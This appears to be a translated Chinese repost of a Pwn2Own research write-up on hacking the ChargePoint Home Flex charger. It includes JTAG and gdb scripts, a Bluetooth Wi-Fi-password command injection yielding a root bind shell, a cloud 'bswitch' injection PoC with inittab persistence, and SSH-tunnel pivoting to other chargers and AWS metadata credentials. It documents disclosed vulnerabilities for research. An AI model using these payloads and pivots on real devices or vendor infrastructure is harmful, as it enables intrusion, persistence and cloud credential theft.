破解ChargePoint充电桩

文摘   2024-09-13 17:19   安徽  

以下是2024 Automotive Pwn2Own 对 ChargePoint Home Flex上进行的研究工作,包括发现的漏洞以及开发的攻击手段。最终能够仅通过蓝牙连接在这款充电桩上容易命令执行。


Background

对于ChargePoint来说,最困难的部分是获得这个设备。它在亚马逊上有售,并支持国际运输。但交付日期一直被推迟。我们很幸运,首次就发现了漏洞。整个“研究”过程只用了大约三十分钟。

不幸的是,在Pwn2Own的抽签中,我们在这款充电桩的所有七支参赛队伍中被排到最后一个。有了这样一个浅显的漏洞,我们注定会遇到重复漏洞的问题。因此,我们决定加大努力寻找更好的漏洞链!我们熬夜,尽管因时差和夜生活而感到睡眠不足,就像在CTF比赛中一样,最终在上台前的最后一刻找到了全新的漏洞链。在这个过程中,我们还发现了一些能够让我们完全接管ChargePoint云端基础设施的漏洞……有些尴尬。关于这一点稍后再说,现在让我们从最初的分析和漏洞链开始。


Obtaining the firmware

我们参考了卡巴斯基的研究人员Dmitry Sklyar之前对这款特定设备的研究作为起点,特别是JTAG引脚布局的信息非常有用。

ChargePoint具有一个串行接口,从中我们可以推断出该设备使用U-Boot并运行Linux系统。然而,U-Boot配置为自动启动,并且我们找不到可以用来登录控制台的有效凭证。Dmitry利用JTAG来转储固件,然后在Linux中修补密码验证功能。我们采取了一个类似但略有不同的方法。我们利用JTAG禁用了自动启动。这样我们就可以进入单用户模式,并向系统添加新的用户。

我们使用了以下OpenOCD配置来实现JTAG的功能:

$ cat ft232h.cfgadapter driver ftdiadapter speed 30000transport select jtag
ftdi_vid_pid 0x0403 0x6014ftdi_tdo_sample_edge fallingftdi_layout_init 0x0308 0x000bftdi_layout_signal nTRST -data 0x0100 -oe 0x0100ftdi_layout_signal nSRST -data 0x0200 -oe 0x0200
$ cat target.cfgreset_config srst_onlyadapter srst delay 100adapter srst pulse_width 500
if { [info exists CHIPNAME] } { set AT91_CHIPNAME $CHIPNAME} else { set AT91_CHIPNAME at91sam9n12}
if { [info exists AT91_CHIPNAME] } { set _CHIPNAME $AT91_CHIPNAME} else { error "you must specify a chip name"}
if { [info exists ENDIAN] } { set _ENDIAN $ENDIAN} else { set _ENDIAN little}
if { [info exists CPUTAPID] } { set _CPUTAPID $CPUTAPID} else { set _CPUTAPID 0x0792603f}
jtag newtap $_CHIPNAME cpu -irlen 4 -ircapture 0x1 -irmask 0xf -expected-id $_CPUTAPID
set _TARGETNAME $_CHIPNAME.cputarget create $_TARGETNAME arm926ejs -endian $_ENDIAN -chain-position $_TARGETNAME
然后我们就可以将充电重置到暂停状态。
$ sudo openocd -f ft232h.cfg -f target.cfg -c 'init' -c 'halt'
从这里开始,我们使用下面的gdb脚本来禁用自动启动,方法是在abortboot()函数中将abort设置为1(该函数可以在这里找到)。在这个特定的构建中,这个函数是内联的,但大体思路是一样的:
set arm force-mode armtarget extended-remote localhost:3333hbreak *0x90continuedelete 1stepibreak *0x26f13e7ccontinuedelete 2set $r5=1set $pc=0x27f7ce80continue
现在我们就可以简单地进入单用户模式,并添加一个新的用户:
U-Boot> setenv bootargs "root=ubi0:rfs ubi.mtd=10 rw rootfstype=ubifs console=ttyS0,115200 mem=128M init=/bin/sh mfg_mode=false"U-Boot> boot

充电方便地默认启用了telnetd服务。这意味着我们可以使用新创建的账户(以及一个被赋予setuid权限的shell)登录并获取固件。


Our first vulnerability (CVE-2024-23921)

我们的初始漏洞非常直接,我们就直接在这里披露:在通过蓝牙配置充电时,Wi-Fi密码字段存在命令注入漏洞……充电甚至自带了一个支持

nc  -e /bin/sh

的工具。这是我们,因此整个过程耗时不到三十分钟。

让我们更详细地看一下这个问题。Dmitry已经发现了在配置充电时的一个漏洞。当通过蓝牙配置新的Wi-Fi网络时,密码会被复制到固定大小的栈缓冲区中,从而导致经典的缓冲区溢出问题。这听起来像是一个很有希望的开端:显然这个向量之前就是易受攻击的,并且对攻击者来说没有其他先决条件(除了需要在蓝牙范围内)。还有,蓝牙连接不需要认证?

二进制文件 /usr/bin/onboardee 处理所有传入的蓝牙数据包。处理蓝牙GATT属性写入的主要处理器叫做 cpble_server_handle_write_event()。充电广播多个服务和特性,主要是为了配置Wi-Fi设置。当应用新的配置时,它会调用 obSendWiFiInfotoWlanapp(),该函数使用某种进程间通信(IPC)机制来发送新的配置信息。IPC消息似乎有一个标识符,对于这个特定的消息,它的标识符是 CT_EVENT_OB_WLANAPP_CONNECT 或者 0x3a9d(十进制15005)。

查看接收这条消息的对象,我们发现是二进制文件 /usr/bin/wlanapp。这个二进制文件似乎处理大部分Wi-Fi配置管理和连接性。main() 函数接收并调度传入的IPC消息。我们关注的特定消息由 wlnProcessObConenctMsg() 处理,该函数调用 wlnApplySupplicantConfChange()。这个函数负责创建和写入一个新的 wpa_supplicant 配置文件。为了构造这个文件的内容,它会调用 wlnSupplicantWriteVarConfg()。根据通过IPC接收到的配置,它会填充 wpa_supplicant 所需的字段。这些字段之一是 psk,应该包含WPA配置中的预共享密钥(PSK)。这个字段要么包含纯文本密码,要么可以通过使用如 wpa_passphrase 这样的工具预先计算成PSK条目。

ChargePoint选择了后者,也许是因为他们不想在设备上存储纯文本密码:

int __fastcall wlnSupplicantWriteVarConfg(FILE *a1, struct_a2 *a2, int a3){    ...    snprintf(        command,        0x100u,        "/usr/sbin/wpa_passphrase \"%s\" \"%s\" | grep \"psk=\" | tail -1 | cut -c6-",        &a2->ssid,        &a2->password);    v14 = popen(command, "r")    ...}
这里 a2 是一个结构体,其中保存着我们的密码(没有任何字符限制),并且它会被直接用于一个系统命令中。只需发送一个带有新Wi-Fi配置的蓝牙数据包,并将密码设置为如下内容:
"; /usr/bin/nc -l -p 1337 -e /bin/sh ; #"

我们就能在设备上获得一个shell:

$ nc 10.10.107.86 1337iduid=0(root) gid=0(root)uname -aLinux cs_0024b100000b442e 3.10.0 #1 Fri Apr 22 05:35:04 UTC 2022 armv5tejl GNU/Linux
正如我们所预料的那样,我们并不是唯一发现这个漏洞的人。在其他六个参赛队伍中,有五个队伍发现了完全相同的漏。

Playing Pwn2Own as a CTF

除了蓝牙外,充电还具备Wi-Fi连接功能。它有一个监听服务telnetd,但是使用了一个未知(但静态的)root密码。我们尝试了一段时间暴力破解,但没有成功。所以我们暂时认为它不值得关注。不过,它确实有两个出站连接:一个是WebSocket连接(使用TLS),另一个是SSH连接。
WebSocket连接是为了与ChargePoint云服务器进行日常操作的通信。SSH连接则有点奇怪。似乎是为ChargePoint提供远程登录其充电的可能性。首先,让我们更仔细地看看这个WebSocket连接。

Intercepting the cloud communication (CVE-2024-23970)

之前我们只是简单地查看了一下WebSocket连接。我们最初忽略了它作为目标的可能性,因为该连接使用了TLS,并且似乎正确地验证了服务器的证书。然而,我们后来发现我们对这部分的理解并不完全准确。我们注意到在 /opt/etc/coul/cps.conf 中有这样的配置设定,这个配置被 /usr/bin/cpsrelay 使用,该程序管理WebSocket连接:
VerifyHostName=1

这看起来对应于curl的 CURLOPT_SSL_VERIFYHOST=1 设置。我们可以理解为什么这种配置选项很容易让人忽视,因为它很容易让人误操作。结果,这个选项在curl的后续版本中进行了修改。人们可能会认为这是一个布尔值,其中1表示启用主机名验证,0表示禁用它。但实际上这是一个整数值,其中0表示禁用验证,而2则按预期进行验证。1是一个介于两者之间的奇怪值,它使得curl不会验证域名,但会进行一些额外的日志记录。curl的开发者意识到这是一个错误,因此自从curl版本7.66.0起,值1和2被视为相同。幸运的是,ChargePoint使用的libcurl版本为7.35,该版本发布于2014年1月29日。

所以域名不会被检查,但证书必须由受信任的CA签名。ChargePoint的云服务器使用了一个由它们自己的CA签名的证书。让我们看看是否能找到一个证书(及其对应的私钥),这个证书是由与云服务器相同的CA签名的。幸运的是,设备上恰好就有我们需要的这样的证书 :)。WebSocket连接也受到客户端证书的保护,因此设备上需要存储一个证书和密钥。在我们拥有的各种文件系统转储中快速搜索,我们很快在BoardConfig-A分区上找到了一个这样的证书。

$ strings /dev/mtdblock5 | grep -- ----------BEGIN CERTIFICATE----------END CERTIFICATE----------BEGIN CERTIFICATE----------END CERTIFICATE----------BEGIN RSA PRIVATE KEY----------END RSA PRIVATE KEY-----
使用这个证书,我们能够成功地在WebSocket连接与云端之间进行中间人攻击(Man-in-the-Middle, MitM)。进展不错!实际的MitM攻击设置花费了一些时间,因为大多数工具都不接受这个证书。它使用了SHA-1签名,而这已经被废弃了很长时间。这是在深夜的时候,我们记不清当时需要更改哪些设置才能让这一切生效。

Finding a bug in the message handling (CVE-2024-23971)

我们观察到从服务器发出的消息似乎具有相似的结构,并且似乎遵循OCPP协议。所有消息都使用DataTransfer类型,其中包含了实际的负载。OCPP标准并未进一步定义内容。下面是经过轻微编辑以提高可读性的一个示例消息。有趣的部分在于data值。这个值包含了一个以|分隔的字符串,其中包括要执行的命令(例如3508,对应saddr在这个例子中)以及一些额外的数据。
[  2,  "1706198695",  "DataTransfer",  {    "vendorId": "ChargePoint",    "data":"saddr|1|3508|0024B100000B442E|1706198695|0|1|1706198695|home charger-eu.chargepoint.com:443/ws-prod/panda/v1"  },  "0024B100000B442E"]
二进制文件 cpsrelay 接收所有消息,但它仅仅使用与我们在 onboardee 中看到的相同的IPC机制来分发这些消息。这是基于命令标识符来进行的(例如上面示例中的3508)。查看各种端点时,我们注意到大多数处理程序都存在缓冲区溢出问题。但由于我们在东京并且需要远程测试位于荷兰的设备,我们认为缓冲区溢出可能不是最佳选择。如果设备崩溃并需要重启,我们必须打电话给某人,请他们去办公室手动重启设备。因此,我们决定寻找命令注入漏洞。
我们在 bswitch 命令中找到了一个命令注入漏洞。这个命令似乎是为了切换不同的启动分区而设计的。这个命令由 /usr/bin/mcp 处理,在 RouteToFsmInstance() 函数中:
void __fastcall RouteToFsmInstance(int a1, int a2) {    ...    if (command_id == (int *)701) {        v91 = (unsigned __int8)payload[136];        v92 = (char *)s;        strcpy((char *)s, "NA");
if (v91) v92 = payload + 136;
cmd = payload + 36;
CTLogWhere(5, "RouteToFsmInstance", 4105, 0x4000, "\n**** Executing BOOTCONTROL cmd %s\n", cmd);
v94 = strstr(cmd, "reboot"); type = "reboot";
if (!v94) type = "bankswitch";
recordReboot(v92, type, (int)"NOC", 0, 1);
system(cmd); } ...}
这里我们可以看到,它取了有效载荷的一部分,并直接传递给 system() 函数。我们还没有观察到来自真实云端的这个命令,所以我们不太清楚它在实践中是如何正常使用的。不过,这是我们最初用来测试假设的PoC:
bswitch|1|701|0024B100000B442E|0|1|1706198695|touch /tmp/pwned|bswitch
RouteToFsmInstance() 函数超过5800行长,并解析多种不同的IPC消息。这只是众多似乎最终解析来自云端的消息的二进制文件之一。我们最终是通过查看处理传入IPC消息的二进制文件,并交叉参照对 system() 的调用,直到找到可能由我们控制的东西。

Exploitation

在执行命令之前,recordReboot 函数会启动重启。但在Linux上重启需要一点时间,因此我们可以在重启处理过程中运行新的命令。无论我们使用什么作为有效载荷,它必须是快速的并且持久存在的。有效载荷的最大长度为100字节。
当然,我们可以覆盖其中一个初始化脚本,因为整个根分区方便地挂载为可写的,而且服务是以root身份运行的。我们没有选择这条路,因为我们担心这样做可能会使设备无法使用。有一个看门狗服务正在运行,如果检测到任何一个服务离线就会重启设备,这会导致重启循环。如果我们真的有物理设备在手,这可以修复,但我们没有。最后,我们只是向 /etc/inittab 添加了一个服务:
echo "::respawn:/usr/bin/nc -l -p 1337 -e /bin/sh" >> /etc/inittab
这为我们提供了一个很好的绑定式shell,以便我们可以连接到它。完整的漏洞利用链现在如下所示:
  1. 使用未认证的蓝牙端点重新配置Wi-Fi,使其连接到我们的网络。
  2. 拦截云端通信,并发出 bswitch 命令。
  3. 等待设备重启。
  4. 成功!
幸运的是,整个漏洞利用链在比赛中第一次尝试就成功了,考虑到我们当时的状态,这已经很不错了。而且这些漏洞最终证明都是未知的,所以这是一个完胜!

But wait, there is more!

还有一个我们尚未完全覆盖的服务:SSH服务。正如前面所说,这个服务起初看起来有点奇怪。它似乎存在是为了让ChargePoint有一种远程登录每个充电的方式?它连接到ChargePoint的一个系统,并通过反向隧道连接到充电上的telnet服务。由于拦截这个连接只会给我们提供访问同一个telnet服务的权限,而这个服务已经可以通过本地局域网访问,所以我们最初没有进一步研究这个SSH服务。
该服务由 /etc/init.d/sshrevtunnel.sh 启动。这个脚本太大,不能在这里全部列出,但相关的部分如下所示:
#!/bin/sh# Bring up pinned up reverse tunnel to mothership. Try forever, but back off# connection attempts to keep from wasting resources.  Peg the retry time at# some max and keep trying....SERIAL_NUM=`cat /var/config/cs_sn`SN_YEAR=`echo $SERIAL_NUM | head -c 2`BASE_SERVER_PORT=20000BASE_SERIAL=0SERIAL_MODULO=10000SERIAL_MINOR=`expr $SERIAL_NUM % $SERIAL_MODULO`REVPORT=`expr $SERIAL_MINOR - $BASE_SERIAL`REVPORT=`expr $REVPORT + $BASE_SERVER_PORT`#FOR QA server please uncomment this line#REVSYSTEM="pandagateway.ev-chargepoint.com"REVSYSTEM="ba79k2rx5jru.chargepoint.com"REVSYSTEMPORT="-p 343"REVHOST="pandart@$REVSYSTEM"REVHOST_2016="pandart@xiuq0o4yl57c.chargepoint.com"#For 2017REVHOST_2017="pandart@xiuq0o4yl57c2017.chargepoint.com"...while true; do    ...    # Connect to the appropriate server based on the year code in the serial number.    if [ "$SN_YEAR" = "17" ]; then        # Connect to the 2017 server.        #printf "---> Connecting to 2017 server: $REVHOST_2017\n"        $LOG "attempting connection to $REVHOST_2017"        ssh -o "StrictHostKeyChecking no" -o "ExitOnForwardFailure yes" $REVSYSTEMPORT -N -T -R $REVPORT:localhost:23 $REVHOST_2017 &    elif [ "$SN_YEAR" = "16" ]; then        # Connect to the 2016 server.        #printf "---> Connecting to 2016 server: $REVHOST_2016\n"        $LOG "attempting connection to $REVHOST_2016"        ssh -o "StrictHostKeyChecking no" -o "ExitOnForwardFailure yes" $REVSYSTEMPORT -N -T -R $REVPORT:localhost:23 $REVHOST_2016 &    else        # Connect to the legacy server.        #printf "---> Connecting to legacy server: $REVHOST\n"        $LOG "attempting connection to $REVHOST"        ssh -o "StrictHostKeyChecking no" -o "ExitOnForwardFailure yes" $REVSYSTEMPORT -N -T -R $REVPORT:localhost:23 $REVHOST &    fi    ...done...
归结起来,它运行了以下SSH命令:
ssh -p 343 -N -T -R $REVPORT:localhost:23 pandart@ba79k2rx5jru.chargepoint.com
用于认证的密钥来自 /root/.ssh/id_rsa。这个密钥似乎来源于与WebSocket连接所用的证书相同的分区(BoardConfig-A)。
它连接的主机是由设备制造的年份确定的。它为2016年制造的设备提供了一个特殊的域名,为2017年的设备提供了一个域名。“遗留”设备连接到另一个域名,我们认为这里的“遗留”意味着2016年以前制造的设备?事实上,这个“遗留”域名似乎不再使用,或者至少它没有运行SSH守护进程。但由于没有为2017年以后制造的设备提供情况,所有更新的设备也会尝试连接到“遗留”服务器。
然而,我们注意到最新的域名(即2017年制造的设备)仍然在线。不仅如此,它还接受了我们的SSH密钥。太棒了,我们现在有了与“母舰”的连接,我们能用它做什么呢?服务器不允许我们启动shell。但它确实允许我们建立其他的TCP隧道!让我们看看我们可以用这个做些什么……我们首先尝试看看是否真的可以创建任意隧道:
$ ssh -p 343 -N -T -L -i id_rsa 1337:google.com:80 pandart@xiuq0o4yl57c2017.chargepoint.com$ curl -I -H "Host: google.com" http://localhost:1337/HTTP/1.1 301 Moved PermanentlyLocation: http://www.google.com/Content-Type: text/html; charset=UTF-8Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-elUlvIzfzVhli9gWi11mIg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hpDate: Thu, 25 Jan 2024 20:14:01 GMTExpires: Sat, 24 Feb 2024 20:14:01 GMTCache-Control: public, max-age=2592000Server: gwsContent-Length: 219X-XSS-Protection: 0X-Frame-Options: SAMEORIGIN

成功了!好吧,代理到Google挺有意思的,但我们能否也创建一个隧道到其他用户的充电呢?让我们尝试转发到本地主机和一个随机端口,希望这个端口被另一个连接到“母舰”的充电使用:

$ ssh -p 343 -N -T -L -i id_rsa 1337:localhost:24395 pandart@xiuq0o4yl57c2017.chargepoint.com$ telnet localhost 24395telnet localhost 24395Trying 127.0.0.1...Connected to localhost.Escape character is '^]'.
cs_0021a100000b5621 login:
虽然我们不知道telnet密码,但这肯定不是这项服务的开发者最初设想的情况。
接着,我们注意到这台机器托管在AWS上,于是我们尝试使用这种转发技巧来访问AWS元数据服务器:
$ ssh -p 343 -N -T -i id_rsa -L 1337:169.254.169.254:80 pandart@xiuq0o4yl57c2017.chargepoint.com$ curl http://localhost:1337/latest/meta-data/iam/security-credentials/cp-prod-ota-servers-role{    "Code" : "Success",    "LastUpdated" : "2024-01-25T20:21:21Z",    "Type" : "AWS-HMAC",    "AccessKeyId" : "...",    "SecretAccessKey" : "...",    "Token" : "...",    "Expiration" : "2024-01-26T02:28:42Z"}

嗯,这看起来不太好……让我们看看是否可以用这个密钥访问一些内容;比如S3存储桶?

$ aws s3 ls2020-03-27 16:17:02 aws-athena-query-results-022521842517-ca-central-12019-07-17 19:23:19 aws-athena-query-results-022521842517-eu-central-12020-06-26 07:15:33 aws-athena-query-results-022521842517-us-west-2...$ aws s3 ls s3://cp-prod-syd-nos-sftp --human-readable --summarize        PRE bmw_incoming/        PRE coned_incoming/        PRE evgo_incoming/        PRE fulfillment_incoming/        PRE voyager_incoming/        PRE wex_incoming/
Total Objects: 0 Total Size: 0 Bytes
总的来说,我们能够访问超过100个S3存储桶!我们在决定有足够的证据来升级这个问题之前,列出了其中一个存储桶作为一个概念验证。我们认为如果能够接管他们相当一部分甚至是全部的云端基础设施应该是可能的。



安全脉脉
我们致力于提高车联网安全的意识,推动行业发展,保护车辆和驾驶者免受潜在威胁的影响。在这里可以与车联网安全领域的专家和爱好者分享知识、深入思考、探讨标准法规、共享工具和讨论车联网热点事件。
 最新文章